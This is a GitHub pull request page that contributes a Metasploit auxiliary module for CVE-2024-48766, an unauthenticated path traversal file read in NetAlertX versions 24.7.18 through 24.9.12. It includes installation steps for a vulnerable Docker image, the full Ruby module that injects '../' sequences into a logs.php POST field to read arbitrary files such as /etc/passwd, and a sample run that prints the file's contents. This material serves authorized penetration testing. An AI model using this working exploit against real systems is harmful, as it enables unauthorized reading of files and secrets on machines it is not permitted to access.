Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

NetAlertX File Read (CVE-2024-48766) #19881

Open
wants to merge 6 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
## Description


An attacker can read any file through log functionality with no authentication.

The vulnerability affects:

* v24.7.18 <= NetAlertX <= v24.9.12

## Installation

1. `docker pull jokobsk/netalertx:24.9.12`

2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```

## Steps

1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/netalertx_file_read`
4. Do: `run rhost=<rhost>`
5. You should get the contents of the specified file.


## Example

```
msf6 > use auxiliary/scanner/http/netalertx_file_read
msf6 auxiliary(scanner/http/netalertx_file_read) > show options

Module options (auxiliary/scanner/http/netalertx_file_read):

Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 5 yes Traversal Depth (to reach the root folder)
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
tml
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/netalertx_file_read) > run
[*] Received data:
[*] root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
catchlog:x:100:101:catchlog:/:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

[*] Stored results in netalert_result.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/netalertx_file_read) >


```


102 changes: 102 additions & 0 deletions modules/auxiliary/scanner/http/netalertx_file_read.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(
update_info(
info,
'Name' => ' NetAlertX File Read Vulnerability',
'Description' => %q{
This module exploits improper authentication in logs.php endpoint. An unathenticated attacker can request log file and read any file due path traversal vulnerability.
},
'References' => [
['CVE', '2024-48766'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/']
],
'Author' => [
'chebuya', # Vulnerability discovery
'msutovsky-r7' # Metasploit module
],
'DisclosureDate' => '2025-01-30',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options(
[
Opt::RPORT(20211),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 5])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200

html_document = res&.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.7.18'), Rex::Version.new('24.9.12'))

Exploit::CheckCode::Appears("Version #{version} detected.")
end

def run_host(ip)
traversal = '../' * datastore['DEPTH']
filepath = datastore['FILEPATH']
dummyfilename = Rex::Text.rand_text_alphanumeric(6)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/php/components/logs.php'),
'vars_post' =>
{
'items' => "[{\"buttons\":[{\"labelStringCode\":\"Maint_PurgeLog\",\"event\":\"logManage(app.log, cleanLog)\"},{\"labelStringCode\":\"Maint_RestartServer\",\"event\":\"askRestartBackend()\"}],\"fileName\":\"#{dummyfilename}\",\"filePath\":\"#{traversal}#{filepath}\",\"textAreaCssClass\":\"logs\"}]"

}
})

fail_with Failure::Unreachable, 'Connection failed' unless res
fail_with Failure::NotVulnerable, 'Unexpected response code' unless res&.code == 200
fail_with Failure::NotVulnerable, 'Unexpected response' if res&.body.blank?

html = res&.get_html_document

fail_with Failure::NotVulnerable, 'No HTML body' if html.blank?

log_data = html.at('textarea')

fail_with Failure::PayloadFailed, 'No data' if log_data&.blank? || log_data&.text&.empty?
print_status 'Received data:'
print_status log_data.text

store_loot(
'netalert.results',
'text/plain',
ip,
log_data.text,
"netalert-#{filepath}.txt",
'NetAlertX'
)

print_status "Stored results in netalert-#{filepath}.txt"
end

end
Loading